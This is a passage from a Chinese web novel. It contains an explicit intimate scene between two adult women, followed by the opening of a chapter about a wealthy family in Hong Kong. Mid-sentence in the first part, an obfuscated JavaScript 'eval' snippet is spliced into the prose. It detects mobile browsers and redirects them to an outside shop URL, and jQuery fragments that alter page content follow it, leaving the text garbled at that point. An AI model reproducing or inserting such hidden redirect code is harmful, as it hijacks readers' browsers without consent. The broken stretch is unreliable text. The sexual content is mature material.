何穗有点奇怪地望着姑娘,她沉默了一会儿,再说,“今天不说这事。以后你慢慢就知道了。”
何穗合上眼睛,雪秀是个沉重秘密的话题,现在和姑娘一起心情舒畅,她不想谈及让人不快的事情。
对于雪秀突然不知所踪,坊间有很多传言,最离谱的是雪秀去冬湖跳湖了。
雪秀出去香港,周家一直当作一项很重要的秘密,不予外人知晓。
诗筠莫名其妙地望着何穗,她没想到自己一句毫不经意的问话让何穗这么诧异。
正在她愣神的时候,何穗睁开眼,她把手放在姑娘那润滑白皙的脸上抚摸,像是安慰姑娘,还是说起雪秀的事情:
“如果雪秀妹妹放到现在改革开放的时代,就不会那么犟脾气了。社会发展变化,人的思想观念也会改变。但话又说回来,无论这个社会变化成什么样子,都要让自己的行为谨慎,告诉自己要大度宽容,不光是对他人,对自己也应该如此。二十几岁毛毛躁躁的,情绪太冲动。现在回想起来,我在你这么大时,的确犯过的错误不少。经历过这么多年以后,才慢慢明白过来。等你有了些阅历,你就明白了。”
何穗颦蹙双眉轻声细语,像是惋惜十几年前历尽磨难的雪秀,又像是感叹自己二次不如意的婚姻,更像是告诫即将离家远行涉世未深要去历险的姑娘。
她把自己人生的沧桑变化说给和女儿一般大的姑娘听。她把手移向姑娘滑润的脊背,温柔地抚触着,像是喁喁私语,继续道,
“‘走不出的沧海桑田,读不懂的风花雪月,说什么忘我痴恋,怨恨什么情深缘浅,到头来终是一指流沙;再灿烂的红尘初妆,也会碾碎无常’。这是一个诗人的爱情诗,放在雪秀身上很合适,我有过好几次用这首诗去开解她,但最终还是没能帮她打开心结。我相信对于先生来说,雪秀是他一生一世的心痛。”
何穗说完之后,若有所思地再说,“我希望你们年轻姑娘的爱情是平淡无奇,水到渠成,不要去奢求什么忘我的痴恋,什么山盟海誓,幻想什么四季花香,暖到落泪。一旦失望,到头来把好端端的一个人折腾得死去活来。”
姑娘静静地凝视着何穗听她把话说完。
雪秀事件,她有所耳闻,到底是十年前那姑娘被爱情折腾得无法自拔,还是过于沉湎于爱情的温馨浪漫的梦幻之中,现在与周家最亲近的女人一起光着身子躺在床上的她不得其解,也不好发问。
如今事情过去已十年,获悉事实真相的人可能寥寥无几。当年的恩怨情缘,可能只有周家自己的人才明了十年前那个姑娘为什么要纵身冬湖。
单纯的姑娘相信坊间传言,以为雪秀真的纵身冬湖了。
“多一些油盐酱醋,少一些花前月下。很现实。我非常认同。”
姑娘眨了眨眼睛,爽朗地说。
“话虽这么说,但是做到很难。十八九、二十几岁,正意气风发。男人对?女人的爱,女人对男人的爱,是人的自然属性所致,也是社会属性使然。动物世界里那些雄性动物为了争夺配偶相互间拼命打斗得头破血流,甚至丧送性命,何况人类爱情。
“爱情是我们人类社会一切纠葛的根源,更是这个冷暖社会作祟的因素。”
何穗话语里虽然渗杂着一个中年女人的失落和些许无奈,但是是在向年轻的姑娘传授人生的经验。
她还是娓娓道来,继续往下说,
“现代年轻人的爱情虽说很现实,但话又说回来,也不能太势利了。如果是那样,爱情变成了一场交易,婚姻活生生地成了功利了,感情上打了折扣,也同样会让人烦心。
“人在世上活着,还是要有点朴实无华和坦荡利落的心境,有些时候甚至还要有奉献精神,多给人快乐和美好,把幸福的事情与人分享,这不是什么诲人不倦的格言,这是任何人都应该具有的品德,利令智昏终究会让人嫌弃。
“尤其是关系到感情方面的事情上。我对苏姝苏如也经常这么说。”
女人说完这一大段话,把手从姑娘的脊梁上移到她娇嫩匀圆的肩膀上,像是抱着姑娘。姑娘身上,散发着青春气息的芳香。女人注视着姑娘若有所思地说,
“你这么一走,以后回乌浟,回你老家蒙县的机会很少了。这些年万柯公司从家乡招聘的人,没有一个回来的,不管是男是女,都到了大地方成家立业,出人头地,你当然也不例外。”
“我普普通通的一个女孩,也没想过要怎样出人头地。大学毕业,我爸说乌浟比蒙县大一点,让我来乌浟,我来应聘教师,没想到还真考上了。”
姑娘稍稍动了动身子,把自己的脸伏在女人的臂弯里,心情愉快地说。
“去了大地方,在周家企业工作,在雨秀这样的阔太太贵夫人身边,想要不出人头地都很难呐,说不定就会变成阔太太。好好珍惜这次机会,用不了几年你就是外面来的阔太太了。一本书里也这么描写一个出嫁的新娘:盛装的新娘笑靥如花,之后泪眼朦胧,盈盈间作别父母,挥别自己的成长岁月,生命进入另一个阶段,无形的脐带这时候才剪断似地,从此从一个人生走向另外一种全新的人生。”
说到这,何穗定定地注视着姑娘,像是有所感悟鼓励姑娘,再说,“这么美丽的人儿,成了万柯的女人,说不定一去就是阔太太了。”
她相信远去的姑娘完全可以预测的未来,类似必然的前景。
“还没想过嫁人啦。”
姑娘喜滋滋地说,稍停片刻后,以孩子般的天真笑着,又说,“我想要是我们女人不需要嫁男人,自己能够生小孩那多好呀。”
“那让男人干什么呢?”
“那就让男人为女人做工。给女人弄吃的穿的用的,要是走路的话,就把女人背在身上,像是奴隶一样。那样的话,女人太幸福了。”
“那样的话,男人就成了牛马驴了。男人成了女人纯粹生活劳动的工具,总会有其他不顺心的事情来纠结。世事就是,过了一道坎,会有下一道坎在前面等着——会幸福吗?”
何穗像是深有感触地说。作为一个生育过三个孩子的母亲、年过四十、有过二次婚姻的女人,经历过不少,过往的岁月虽说没什么大的波澜,但一路走下来,也是磕磕绊绊的。
她以一个长辈过来人的口吻,对姑娘继续说,
“整个世界成了女人的世界,没有了爱恨情仇,没有了恩怨纠葛,那一定是单调乏味极了。更谈不上什么丰富多彩了。那势必会影响人的视觉,单调而乏味:一样的街道,一样的楼房,一样的门窗……一样的衣服,说不定最后连所有的女人都变成长得一模一样的人了。所有的一切,都会缘于同一个模子里复制出来的,没有变化,更谈不上创意。这样一来,甪不了多久,人类就会很快衰退,直至灭亡。”
“本来美好的事情,让姐这么一说,竟然成了糟糕的事情了。”姑娘故意噘起嘴来。
“外面天寒地冻,这里室内温暖如春。那些生活在这空旷的原野中,或是住在四壁透风冻得瑟瑟发抖的人或者动物们,是怎么度过冬季漫长的黑夜和风雪连天的白日?你这里躺在床上舒舒服服的,不愁衣食不愁住,感受自己身处于幸福之中,脑子里就会有美好的奇思幻想。我在你这个年纪上也是这样子的呀。”
何穗说。躺在床上的姑娘脸色红润,天真无邪。也许是室内温度调得过高,姑娘身上也热呼呼的。她把放在姑娘身上的手收回,试在自己胸脯上,自己的体温显然没有姑娘的身体那么温暖。
“做姑娘的时候是最幸福的时候:年轻、貌美,充满着青春的活力。可就是作姑娘的时候满脑子都是想着怎么找男人把自己嫁出去,这似乎是很矛盾。是因为姑娘们都知道,自己作姑娘美好的时光不多,转瞬即逝,趁着自己年轻貌美有魅力找到一个合自己口味的男人,把自己嫁给他,给这个男人称心如意做女人生儿育女。这一生就是这样过了。”
何穗说到这,把手很自然地放在姑娘柔嫩光滑的胸脯上,还是继续往下说道,
“给一个男人做女人,生了孩子,你就会发现,自己做母亲的责任远远超过做妻子的责任。为了孩子,可以忍受很多挫折,慷慨大方接受被人的侮辱,独自承受着生活中的重负。当然也不能简单地把它归咎于是婚姻生活中的失败。
“要是遇上是一个不怎么称心如意让自己隐隐作痛甚是痛苦无奈的男人,看到孩子朝气蓬勃,充满活力和快乐的成长,孩子喜悦的气息会让你对所有的伤痛释然。可怜的女人哪,还不是一辈子这样子的吧?——这就是母爱的伟大之处。”
“有人说,婚姻中的男人不可捉摸,得花很长的时间才能完全去了解一个人。也许十年八年,也许一辈子。说不定一辈子也不行。谁有一眼能够看穿人的本事呀?”
姑娘有所思虑地说。
“婚姻之中的男人和女人,能够在一起,过得下,就是最大的幸福。看穿了,无非是寻找人家的缺点和不足,再让自己去吹毛求疵。老祖宗告诉我们,‘不吹毛而求小疵,不洗垢而察之难’。现代人谈到夫妻相处之道说,夫妻一起就像是龌龊的沼气池,能够互相吸纳对方的肮脏之气。
“眼光放远,视野就会宽阔,就像看蓝天和树木一样,是广袤无垠的天和地。”
女人最后这句话,像是安慰自己又像是在开导姑娘。
……
房间所有的灯光打开,室内一片通明。姑娘的全身,可以一览无遗:流畅的曲线,圆润修长的双腿,挺实光洁的□□。姑娘身材虽然很窈窕,但由于野外锻练也很结实。
姑娘坦露的胸部似乎是在喜气盈盈地展示出它傲人的姿态。女人欣赏姑娘,也欣赏回忆中的青春岁月里的自己。现在唯有姑娘结实的、肌肤滑润的、十分舒展的身体,寻找自己当年的青春记忆,予自己以感觉上的慰籍。
这么一个美丽纯洁的姑娘,应该让一个懂得爱的男人来爱她。女人在心中为姑娘真诚祈祷:希望这个光着身子天真无邪地躺在自己身边的姑娘、能够称心如意地度过自己的人生,心满意足地获得自己的幸福。包括她结婚嫁人生孩子,有一个属于自己的家。
女人的手开始在姑娘身上来回摩挲。姑娘的身体柔软而温暖,泛发出少女气息的馨香。
“躺在你这又美丽又有魅力的姑娘身边,让我起了欲望。”
女人用胳膊肘把自己的身体支起来,俯视着姑娘,“如果我是个男人,就紧紧地抱着你好好地睡上一觉。可是我是个女人,不能那么抱着你——就让我抱一下可以吧?我想你应该不会怀疑我吧?”
女人说道。
“我不行。肉麻得要命。”姑娘咯咯地笑过不停,身子一下一下地抖动。
“试试什么感觉?”女人哧哧笑着,故意调皮地说道,“这么娇滴滴充满魅力的女人,天生就是给男人享受的。好好找一个好男人来享用你吧。”
“去哪里找哟。”
“去了大地方,跟着一帮阔太太贵妇人,自然会有白马王子疾蹄而来。只是不知道你入哪个豪门——告诉我你的感觉。”这时,女人的手开始在姑娘身上抚触。她把她的右手从姑娘的手臂往上滑向
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199096|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的肩膀,再顺着脖颈一直往下移去。
“我不行。真的不行……”姑娘含羞带笑忸怩着身子。
女人把搭在姑娘下半身的浴巾拿开,对姑娘说,“就是这样静静地躺着不动,也极具挑逗性。我很想看看你的那个地方,纯属欣赏。你得答应我。”
“姐,你就饶了我吧……”姑娘喊了一声,娇俏妩媚通红的脸,宛如瞬间绽放的红花。
女人俯下身子,挪到姑娘的腿上。姑娘羞得满脸通红,但还是把腿张开。她把自己的手背放在自己脸上,似乎是以自己的处子之身在接受一个男人的洗礼。
“画画的人,富于幻想,还爱嚷嚷。常常还得探过究竟。”
女人凑向前仔细瞧,自言自语道。
在飘逸着姑娘的芳香中,一股婴儿的气味蓦地扑鼻而来。这是还带着从母体里出来婴儿的吃奶的乳液味儿。这里生命之源,似乎比姑娘肌肤的芳香更甜美更浓。
“这是我们自己身上最熟悉的地方。我热切期盼每一个男人对它充满敬意。据说远古时期有些原始部落把这个部位当成神来供奉,每逢佳节对它顶礼膜拜,平时也是小心翼翼地侍候着它。”
女人这么一说,姑娘涨红着脸,止不住咯咯的笑声更大声了。
“这么美丽的地方,简直就是一件精美的艺术品。要是男人看了一眼,早已血脉贲张了。”女人放肆地说。
“什么?有这么夸张吗?”姑娘忍住笑,抬起脖子仰头看着女人很好奇地问,再往自己腿上俯看一眼。
“你可以试试看。”女人见姑娘放开来,戏谑地说。
姑娘重新把头躺下,闭起眼睛咯咯笑着,不断摇头,算是回答。
“放心,不会破坏你的处子之身。”女人还是故意戏谑地说,“从来没有尝试过。我扮演一下男人。你放轻松一点。欲望弊得太久了,连男女都不分了。这一刻,我想知道男人的感觉。你在大学里虽然有过恋爱,可学校里的那些小男生只顾自己快活,不会想到要给予女人的享乐。”女人显得很兴奋地说。
“姐,你还是饶了我吧……”姑娘咯咯笑着,扭了扭身子。
“不过这事,男人有过几次就会了。条件是一定要是一个爱你的男人,符合你自己口味的男人,能够挽着你的手和你走向婚姻殿堂的男人。到时候你就躺着舒舒服服地享受吧。”
女人说。她躺回身子,女人白皙的脸上,现出四十岁数女人这个年龄段上端庄的韵味,让姑娘感受到一种尊敬的亲切感。
“你口口声声叫我‘姐’,现在姐送你一句话,姑娘家在外,定要好好爱惜自己的子宫。一些有良心的妇科专家也是这么呼吁。”
女人以长辈的口吻告诉姑娘说,即将要去大叶见面的她的大女儿苏姝,上大学要走的前一天晚上,她告诫女儿说,她不是禁欲主义者,不反对女儿在大学期间谈男朋友,但是绝对反对滥交。
“我现在也对你说。姑娘家,不管是在哪,那些瞅着你馋涎欲滴的男人们,心怀鬼胎终极目标就是想侵犯你的子宫,这些薄情寡义的男人们,他们纯粹把它当成取乐的工具。‘身擎天地中,魂歇一线缝。事后拂衣去,意尽春山空’,这首古诗,说得就是薄情寡义的男人。对于你们未谙人世的年轻姑娘一定要懂得识别:巧言令色,激情和誓言,这些常常是爱情骗子的鬼把戏,会让一个又一个天真可爱的女孩跌进感情的淤泥中,并且深陷其间。”
窗外,稀稀落落地下起雪来。女人用浴巾包裹着身子起来。从撩开的窗帘往外望去,窗外的细雪飘飘洒洒,恍恍忽忽的。
细雪染白的物体,在冬日冷冽的旷野,显得更加纯真、清朗。
“又下雪了,不过是小雪。又是一年过去了。”女人看着外面的细雪轻声道。
“细雪纷纷扬扬……”姑娘边低声说了一句,边从床上蹭起身来,披上浴巾,走到窗前,和女人相互依偎着伫立着,一起往外眺望。
“多么轻飘飘呀!不成雪的雪。新年很快到了。”
姑娘情不自禁的喃喃地说。
这些小雪,染白了外面枯萎的树枝,也有的会团团凝结在树枝上,就像是开在树上的一朵朵白色的花。
“一个人的命运,真难预料啊。要是幸运的事情总是常常不期而至,那一定是天天幸福的事情。”
女人朝外面看着,深有感触地说。像是为这次出行的祝福,又像是为了迎接新年到来的祈祷。
一只雀鸟吱吱喳喳掠过附近的屋顶,落在窗户外面空调架子上。这只小小的雀鸟动作活泼,惹人怜爱。它一定感觉到空调机上面的热气,在空调机架上跳跃,不停地啼啁。在这天寒地冻的时候,充满着生命的喜悦。
“它知道这个位置暖和。”
“喂点饼干给它吃……还有水果。”
女人和姑娘几乎同时说。姑娘从水果盘里拿了二块饼干在手里掰成碎片,悄悄地打开窗玻璃,扔到空调架上。女人用刀把苹果切碎,抛向雀鸟。
雀鸟高声鸣叫几声,展开翅膀飞走了。
“它一会儿还会回来?”姑娘有点失望。
“把吃的留下,关上窗帘,它看不见我们就会飞回来。”
女人说。她和姑娘盼望着雀鸟能再回来,能够知道她们是在照料它,能理解人间慈祥的心。
“常怀一颗悲悯之心,用来提升自己的品格。在任何时候任何情况下都是适用的。”
女人边说边把窗户关上,拉拢窗帘,和姑娘重新回到床上。
“鸟儿的歌声啾啁鸣啭,跳跃的舞蹈也是出类拔萃……”姑娘不知怎么的,突然蹦出了这么一句话。
女人双眼盯着窗户,侧耳聆听窗外的动静。她刚才没有完全把窗帘拉拢,留有一丝缝。
“姐,我刚才说了什么了?”
姑娘像是在睡梦中,迷迷糊糊地问。
“你说了什么了?”
女人侧过身看着姑娘,把手按住姑娘柔软的□□上。对于姑娘刚才的话,她没留意去听。
“我不知道说了什么。现在恍恍惚惚的,就像是外面飘荡的雪花,醉了。”
姑娘陶醉在未来美好的憧憬中,回答的话,也像是恍恍惚惚的。
“刚才的感觉是不能够用口述说出来吧?”
女人继续刚才的话题。
“我想听到簌簌的落雪声。”
姑娘闭上眼睛,一动不动地躺着说。
“听到簌簌的落雪声?”
女人接过姑娘的话,边抚触着姑娘,边梦呓般地絮絮叨叨,“就着一盏心灯,写上一段文字,让现在细细的声响,成为明天的记忆?以后就站在岁月的路口,看云、听风?说说当年沉静的心情,任张扬的个性隐在静悄悄的词句里……
“许多年以后,记得我们现在在乌浟宾馆里,光着身子一起,躺在床上,我是如此抚触过你。你一个非常可爱的女孩静静地看到我,绽开花一般的笑脸。这一天,应该不能忘记?”
“这一天……”
姑娘情不自禁也轻声道。
13. 第十三章
维多利亚港的海面,以它永不停歇幽蓝色的波浪,向世人展示她的天然魅力。她深邃敏锐的心境,蕴藏着太多太多的一往情深,无法诉说是她的岁月的苍桑和温柔。
东方之珠,有着广阔宽厚的胸襟。
两岸高楼大厦对望,海湾像是在这高楼大厦之中的一个池塘,女人想起牛家塆周家老宅门口的池塘,冬湖森林公园里的冬湖,风景似曾相似,又迥异不同。
早上起来,呼吸着沉淀一夜后港湾清新的空气,触碰到密林的露水、清脆的鸟鸣,感受到日月之光,俯瞰曲线柔美的海岸线,尚未褪去城市美轮美奂的夜色。
……
所有的爱与恨不能淡薄
为什么经过多年以后
风干的伤口心痛依旧
这些日子就这样经过
今天不再是昨天的我
也许明天要面对的更多
……
“我想我要是早十年来,应该会在香港写很多歌词。香港歌太接地气了。就是再怎么单曲循环都不够。”
女人的单曲循环,一直在放。也许是故意放给男人听的。就夫妻关系来说,经历过分分合合刻骨铭心的悲欢,情深笃爱他们让旁人羡慕。
这是有着美丽风景普通的一座三幢三层楼房的小庭院,位于维多利亚港湾的半山腰上,在这里,呼吸着海上和树林里清香的空气,远眺九龙半岛方向的群山,仰看澄明的晴空,俯瞰维多利亚港湾,让人倍感舒适欣慰。
“这里和我们家乡西山冬塘相比,就连风吹到身上的感觉都不一样”,
刚入居香港雪秀这么说,“家乡的风吹到身上,倍感凉爽,这里尽管风呼呼的吹,却像是开着热气腾腾的吹风筒。”
在地处南亚热带夏季漫长的时段,雪秀有点忍受不了炎热的天气,不过一年后很快就适应了,尤其是这里冬天温暖舒适的环境。
港湾离家乡西山千几百公里,远比西山到大叶两千多公里近一半的距离。
现在周家的人,只要有空都会过来港湾这儿相聚。到了冬春时节,春子妈和已经退休的周瑞年会携爷爷过来过冬。
“这里应该适合你:繁华便捷,自然幽静。
处于闹市区又在山间,温暖舒适气候宜人,没有冬寒,港菜清淡可口。”
这是十二年前女人刚入住这府邸时,男人对女人说过的话。
雪秀移民香港,在一个一夫多妻制的富饶的小国和周振春登记结婚,十二年间夫妻俩育有四个子女。如今大儿子思山十一岁,老二女儿思怡八岁,老三儿子思明快满五岁,最小的儿子思诚快满三岁了。
与雪秀一同移民香港的还有细秀、秋华冬花俩人移民美国,但也是长居香港。
周家第二代女眷全都移居海外,唯一就是恋家的温婉仪留在国内。她说自己不用移居到国外,孩子们送岀去就行。
“不管在外面多舒服,住多久,那些地方再好,我还是觉得回家好。也许是我太过于执着乡情了吧?也许是心胸狭隘?是寸目鼠光?”
温婉仪这么说自己,
“自己毕竟是小人物啊。不像咱们的春子,有那种放眼天下随遇而安的胸怀。”
“大嫂,你就当作是日光旅游好了。
雪秀对温婉仪说。
“要是日光旅游?在春秋季节,还是去我们老家吧。那儿举目就是风景。”
“是呀,我也很想。”
雪秀很无奈地笑着说,“现在可走不开了,这四个小家伙拖住了。”
“等到你大嫂这么老就好了。”
“听起来多可怕?等到大嫂这么老?”
男人抱着快三岁最小的儿子周思诚,夫妻俩来到厅堂,看着大儿子周思山女儿周思怡正伏在小台上做作业,他们一声不响地走到靠庭外窗前,透过窗玻璃观看五岁的二儿子周思明在廊檐下练跆拳道。
“噢,那家渔港茶楼,外面看起来很像异国风情,其实是华人唐人街古式情调。酒楼的点心式样很像老家小时候的味道。旁边那别具特色外国人开的酒楼花样繁多,生鲜食品眼花缭乱,可就是吃不惯。可孩子们又喜欢到处尝鲜。”
女人手指港湾告诉男人说。她明朗愉快的脸上,洋溢着幸福的笑容。
顺着女人的手指方向,男人把目光眺望着山下维多利亚港湾,持续的暴雨天变小了,在氤氲的雨雾中,可以看到港湾那幢红顶的楼房。
女人温存地挽着男人的胳膊,把头靠在男人肩膀上再说:
“我想你在这里多陪陪孩子,即使你不愿陪我。”女人笑着话里有话,看着男人低声故意说,
“要是大家住在一起,以姐妹相称,会更好一些,省得你飞来飞去的时间。”
喻蓓跟雪秀打电话,对于男人来说,并不意外。男人下月初在威尼斯为何穗举办画展,是一笔不菲的开支,是瞒不过作为公司财务总经理,男人也没想过要隐瞒。喻蓓知道后派人去调查何穗的情况。
男人还是想让喻蓓跟雪秀说,如果自己回答雪秀,会让她问个没完没了。
快二十年的夫妻关系中,男人相信大院里的女人,不存在人品问题。万柯公司能有今天的成就,当然她有很大的功劳。
“她至少不是坏人吧?你生病的时候,有时候半夜三更打电话,她发火是发火,最起码没有抢电话挂线。”
男人替那个可怜的瘦骨伶仃的女人说。
喻蓓三岁没有母亲,后来大一点她爸找个继母,继母与女儿水火不相容。可能在情感上让她觉得父亲也让继母抢去了,这么一个环境下,她孤独无助,必须要自私自利保护自己,争强好胜才能生存。
喻蓓一门心思想趁早拥有自己的家,喻志奇也愿意女儿早日搬出父亲与继母的家。
她就是在这种情形下急匆匆地和周振春步入婚姻生活中。当年他们父女俩全然无视周家和雪秀的存在,而那时候的周振春也只是情窦初开懵然无知的少年。
现在喻蓓主动向雪秀示好,是表示这二十余年来向雪秀夺夫之恨的刻薄忏悔?她会不会消除了曾经缠身那些的魔鬼般的仇恨呢?
男人想着那个瘦骨伶仃的女人,在心里感觉确实有点可怜。
男人曾经对女人这么多次地说过。
雪秀刚入居香港,曾耽心喻蓓会找上门来。
“我原先以为你会骂她,没想到你还为她着想,替她说好话。其实你一点都没变。与小时候一模一样。”
“我身边没有坏人。”
“我以前就担心蓓蓓天不怕地不怕的性子,万一发怒做出什么事情来。”
“那是卤夫和莽汉干的事情。”
维多利亚港湾浑蒙蒙海天一色,大白天往返的船舶都开着航行灯。
女人见男人没吱声,换个话题,她告诉男人说:
“再过些日子就要回归了,姐姐说要过来,我让她来家里来住吧。自从来香港后,我还没有和姐姐一起住过。”
姐姐雨秀月底要过来看回归交接仪式,妹妹要她住到家里,雨秀没答应她。
雨秀说,也许住公司的公寓,也许住公司的酒店。其实这座一式三幢的楼房,是周振春为自己三兄弟每人一幢。只是周振林周振云那两幢一直空着。
“她现在出行不是一个人,怎会住到家里来?”男人对女人说。
“她带个秘书就可以了嘛。”
男人没有回答女人,而是问女人:
“何姐下月初在威尼斯举办画展,姐有没有告诉你?”
“我还正想问你呢。前天姐才告诉我,说你一个月前已经让晓秀去洽谈了。她知道我是不会去的,还问我去不去。别说要坐十几个小时的飞机,二个小时的飞机我都不去的。”
“诚子大一点就可以了。”男人对女人说,
“以后你坐飞机的话,可以三个小时四个小时一个地方一个地方呆些日子,不必要飞太久。”
女人恐高不敢乘飞机,从未出过国,男人想让女人去世界各地看看,长些见识。作为跨国集团公司,也有在全球商务合作的驻地分公司。
从山上往下俯瞰港湾,即使在白天,市街上也已掌灯。这些日子,橙色暴雨预警信号一直在新闻发布平台上播放。
大雨刚停会,天空又弥布了乌黑的阴云,紧接着又是哗哗的大雨倾盆而下。
男人有点儿耽心回归那天的天气,自月底以来持续大雨已经好几天了。
男人已经接到邀请函,参加月底回归盛典。
但她没告诉女人,身边也没人知道,到了那一天,直接让司机把自己送去参加。回归仪式结束后,男人要去威尼斯参加何穗的画展。
昨晚蓓蓓跟女人打电话,男人是听到了,但他并没有去在意。现在女人提及,男人也无需解释什么。
男人静下来望向港湾,回归在即,一切趋于平静,现在男人心里盘算着把国外的女人和孩子都接到香港来。
之前俩个女人之间纯粹是为了报复和吃醋,加入种种的阻拦防范和不择手段的攻击。
七年前,喻蓓得知雪秀隐藏在香港生儿育女后,挣扎着再生了一个女儿周思苗。
修子放弃接父亲的班,喻蓓知道以后掌控万柯公司权力会落到雪秀的儿子身上。
现在这对昔日的冤家对头成了休戚与共命运同体一户两门的好姐妹。
“蓓蓓说,我们这个房子很好,她要是有空就过来住些日子。我说以后修子来香港一定让他住到家里来。弟弟妹妹很喜欢大哥哥的。”
女人说到这,特意朝男人问:
“什么时候带修子、苗子她们来家住一次,好吗?”
“嗯,修子苗子这里能看到港湾里的船,小孩子也许会喜欢。”男人高兴地说。
身居豪门,男人的世界对于女人来说是陌生的,接受男人另娶几门女人就算是对自己的惩罚,就变得理所当然了。
从男人沉静习惯长考中,看到他天宽地阔丰富无限的内心世界。女人相信,年轻男人谙于世事,纵横捭阖,在商海沉浮中,斩获无数,取得巨额财富,可以威胁任何对手。
现在的女人,一心一意地照顾孩子,和春子妈一样诚心修行,皈依佛门祈念阿弥陀佛,深居简出过着淡定从容的生活。
逢周末的日子,上午九点钢琴老师会准时来家里教女儿怡子学钢琴。
这时候女人文静地坐在一旁,弓身屈膝,上身倾斜,两臂或交叉或并放在双膝上,有时也会双掌合拢,扶着微微歪着头,出神地倾听着钢琴老师教女儿那悦耳的琴声。
六岁上时女儿周思怡喜欢唱歌,也喜欢舞蹈,作母亲的就请音乐学院女学生来家里教她学琴。
女人常常在聆听女儿的歌唱声,和目睹女儿的娜婀舞姿,想起幼年时的细秀。
但愿女儿长大成人后,有着娴静优雅的气质,而不是变得像成年后妹妹细秀一样暴躁起来像凶神恶煞般似的。
“当作兴趣玩吧,不要太累了,还是以读书学习为主。”
男人看到有时候女儿懒洋洋的样子,怂恿女儿。有了父亲的庇护,女儿也是心不在焉,兴趣来时认认真真跟钢琴老师学习会,没兴趣就跟女孩子家样的钢琴老师躲在房里玩游戏。
男人回家,女儿特别高兴。
家里请了两个会英语的佣人,平时交流都以英语为主,现在三个大的孩子都可以用英文给国外留学的哥哥姐姐写信了。
男人不在家,女人几乎不带孩子们逛街。
在这人多嘈杂的地方,女人耽心无暇顾及孩子们的安全,交给佣人又不放心。
女人深居简出悠闲度日,一心抚养子女,享受这种恬淡自在的生活。
“港口里好像有一幢房子?”
怡子指着山下的维多利亚港湾一艘邮轮对山子说。
“那是邮轮。”
正在被一道算术题困住了的山子,朝山下望了一眼,告诉妹妹。
“要是我们家有一艘邮轮,就可以坐邮轮去海洋里遨游了。”怡子带着企盼的语气望着山下的邮轮,对哥哥说。
山子无可奈何地打起精神,应和着对妹妹说,“你跟爸爸去说吧。”
此时从楼下的佣人上来躬身施礼后,告诉男人和女人:
“先生、夫人,今天午餐主菜有鳍士鱼还有澳州金龟鲈鱼。”
“好,一会儿我再看弄两个素菜给先生吃。”
女人咐吩佣人。佣人离去后,男人对女人说:
“以你的名字买艘邮轮?在东南亚海域往返?”
“雪秀号?”
“是。名字通俗简明,朗朗上口。”
“孩子无意中的一句话,就让你付诸行动。让我觉得有点儿奢华,你是讨好我吗?”
女人话虽这么说,但神情却很高兴。
“孩子们的欢乐,有此梦想,作父母的有条件应该予以支持。再说也想让你轻松起来,你不肯坐飞机,足不出户,是时候该让你岀去逛逛了。”
“我想过平凡简单的日子。如果用我的名字,这不是等于让大家知道我了吗?”
“知道又怎么样呢?不就是一艘邮轮嘛。”
“用孩子们的名字命名,怎么样?”
“不合适。小孩子不能太张扬。”
“我是说用几个孩子的名凑在一起。反正你孩子也多。”
女人说到这,神情有点落寞,
“我现在也不知道,你到底有几个家,有多少孩子。”
男人没回答女人,女人继续说,
“我不会像蓓蓓那样,想把你拴在裤腰上。那样的话,只能适得其反。”
“你应该一个月,二个月去她那里一二次吧?尽一个丈夫的义务。如果你觉得时间不够,就把外面的女人接到香港来,放在国内也好,这样你也不用坐十几个小时的飞机来回跑了。”
“你今天怎么说起这个话题来了?”
男人问女人。
“蓓蓓打电话给我了,她说我们姐妹俩好好坐坐。”
“她什么时候过来?”
“可能这几天吧。”女人告诉男人,再习惯性抓住他的胳膊,“你不会反对吧?”
“我一直希望你们和睦相处,像姐妹一样。”
“你这句话听起来很老练啊。是不是对你身边所有的女人都这么说?”
“是蓓蓓教你的吧?”
“是。想知道她跟我说了什么吗?”
女人把抓着男人的胳膊用力攥住,习惯性摇晃着。
“你愿意告诉我就说,不愿意告诉我,就不用说。”
“我说什么呢?一个快四十岁的老女人了,四个孩子的妈。有人说女人四十豆腐渣,男人四十一枝花。富豪榜上个个五门六门七门八门的,你要是只有我和蓓蓓两门,也确是太少了。祖父过去有六门啊,你现在的身份地位,连爸都夸你,说胜过祖父。你要娶七门八门吗?既然胜过祖父。我想见见她们,可以吗?”
“可以。我会让她见你。”
“你外面才一门吗?”
“你要给我几门?”
“你别生气啊,你这个呆子。我没想过你这么厉害,还要给我买邮轮,你不会把全世界都买给我吧?现在想想蓓蓓怪可怜的。她说你们夫妻关系早已名存实亡,生下苗子后,就没有夫妻生活了。她说这句话哭得很伤心。
“你要是七、八年,没有跟我一次夫妻生活,我肯定会掐你骂你。我等不了这么久的时间,估计半年都不行。她是怎么做到的?真的怪可怜的,姐姐说,她瘦得不成人样,我看她的照片,也确是太瘦了,她没过上几天心情舒畅的好日子。你开始折腾我,现在折腾蓓蓓,不知道你以后还会折腾多少女人。你也太狠心了吧。”
“你就不能平均一点吧?要不把给我的时间匀一些给她?她可比我年轻啊。”
“是呀,你有比她更年轻的女人,她说才二十几岁。”
女人一旦打开话匣子,就像是回到少女时代在牛家塆借居周家老宅一样,没完没了。
男人对女人的话置之不理,让女人有些不快。见男人要走向孩子,女人赶紧向前,对着男人的耳边把话说完,
“你爱我,也爱蓓蓓,同时也爱外面那个年轻的女人,是不是?蓓蓓说,你以后还会有更年轻更爱你的女人,不止一个二个三个。”
女人直到看到管家江阿姨带着佣人来到门口,才止住了话。
“先生,真是对不起了,刚才带新来的佣人去买菜了,没跟您请安。”
管家江阿姨带着个子微胖新来的佣人过来男人跟前,一脸谦意地说。
“噢?谢谢您了!不要太刻意了。我昨晚很晚才到,你们都不知道。”
周振春笑着对江阿姨说。
四十几岁的江阿姨是香港本地人,会英语,熟悉各种礼仪和规矩,烹饪技巧,更难能可贵的是:和雪秀、春子妈一样,也是虔诚的佛教徒:逢初一、十五素食斋戒。
她原是一家外籍律师的管家,因无法适应西式菜肴,被介绍到周振春雪秀府邸。
